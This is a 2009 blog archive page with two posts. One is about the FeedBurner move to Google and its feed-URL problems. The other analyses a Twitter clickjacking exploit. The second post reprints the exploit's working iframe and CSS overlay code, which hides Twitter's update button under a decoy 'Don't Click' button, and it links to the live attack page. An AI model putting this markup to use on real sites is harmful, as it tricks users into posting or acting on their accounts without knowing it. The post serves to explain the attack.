About the Author

Chris Shiflett

Hi, I’m Chris: entrepreneur, community leader, husband, and father. I live and work in Boulder, CO.


All posts for Feb 2009

Migrating from FeedBurner to Google

When I logged into FeedBurner today, I was presented with the following message:

Your FeedBurner account "shiflett" and all of your feeds should move to Google.

I've actually been seeing this message for a few weeks, but today I didn't have the option to skip it. If you use FeedBurner, you're being forced to migrate your account to Google today.

There are a couple of concerns worth noting as you make this move:

  • The URL to your feed will change due to the migration from feeds.feedburner.com to feeds2.feedburner.com. Because the former redirects to the latter at the moment, there's still continuity, but if people have subscribed to the former, you'll lose subscribers if this ever changes. Does anyone know if Google is offering any assurances in this regard?
  • If you use FeedBurner's Site Stats feature, every URL for every post in your feed will change due to the shift from feeds.feedburner.com to feedproxy.google.com. Because many aggregators use URLs to identify posts, this means you will inadvertently spam anyone subscribed to your feed. (Every post in your feed will seem like a new post.)

I'm sure this was not planned haphazardly, but it does seem like the second issue would have been easy to solve. If Google wanted to be clever, they could simply preserve the old URLs indefinitely, so old posts could still use the same (feeds.feedburner.com) URLs, and all new posts could use the new (feedproxy.google.com) URLs.

Via Twitter, I learned that Ben Ramsey ran into this problem and accidentally spammed Planet PHP along with all of his other subscribers. With his help, we were able to determine how to disable proxying entirely, so that the real URLs to his blog posts showed up in his feed. Here are Ben's instructions:

Click your feed -> click Configure Stats under the Services heading in the left-hand column of the "Analyze" tab -> uncheck "Item link clicks" and click the Save button.

Figure 1 illustrates this. Leaving the middle checkbox ("Item link clicks") unchecked will restore your URLs. You can inspect Ben's feed to see the results.

Figure 1:

Uncheck the the item link clicks option.

With Google running the show, a Ma.gnolia meltdown seems unlikely, but it does seem like there are a few details that weren't addressed very well.

Because I've just made this switch myself, I decided to go ahead and change my feed URL while I'm at it. Although I plan to maintain the old feed URL indefinitely, please be sure you are subscribed to the following:

http://shiflett.org/feeds/blog

I have 4,088 subscribers according to FeedBurner. I'll add a comment or post a followup to let you know how this migration affects that number.

Sean doesn't want to use FeedBurner, because people can subscribe to your feed using a URL that's not under your control. These migration issues justify his concern, and we have been discussing ways to preserve statistics without giving up control. I might experiment to see if I can make a request to my FeedBurner URL that includes an X-Forwarded-For header for every request to my feed URL (http://shiflett.org/feeds/blog). If it works, this would be an alternative to redirecting that is transparent to subscribers.

Good luck to everyone migrating their feed(s) today!

Twitter Don't Click Exploit

I've been posting to Twitter more than my own blog lately, but I noticed a Twitter exploit today that I thought was worth sharing in more than 140 characters. You can try the exploit for yourself at the following URL:

http://umoor.eu/blog/yes-we-can.php

Those who are exploited will post the following message to Twitter:

Don't Click: http://tinyurl.com/amgzs6

At first, I thought this might be a new CSRF exploit, but a closer look quickly ruled that out. If you view source on that page, you'll see an IFrame that loads Twitter with a message pre-filled:

<iframe src="http://twitter.com/home?status=Don't Click: http://tinyurl.com/amgzs6" scrolling="no"></iframe>

This is nothing new, because it's the same tactic Twitter itself uses to pre-fill the start of a reply when you click the reply button.

Below the IFrame is a button:

<button>Don't Click</button>

What makes this a neat trick is the use of clickjacking; when you click this button, you actually submit the form on Twitter.

But how?

Look closely at the CSS:

<style>
iframe {
    position: absolute;
    width: 550px;
    height: 228px;
    top: -170px;
    left: -400px;
    z-index: 2;
    opacity: 0;
    filter: alpha(opacity=0);
}
 
button {
    position: absolute;
    top: 10px;
    left: 10px;
    z-index: 1;
    width: 120px;
}
</style>

This positions the IFrame and button in such a way that Twitter's update button (in the IFrame) is positioned on top of the ordinary button on the page, but the IFrame is hidden from view, so you think you're clicking the ordinary button underneath it, but you're really clicking Twitter's update button.

I have a very simple example that demonstrates this without the opacity set to zero, so if you pay close attention while the page loads, you will see the Don't Click button until Twitter loads in the background, after which you'll see Twitter's update button rendering on top of it:

http://shiflett.org/twitter.php

Pretty clever and a great example of clickjacking. Remember, this is clickjacking, not CSRF.

I wonder if this would be nearly as popular if the button were labeled Click instead of Don't Click. :-)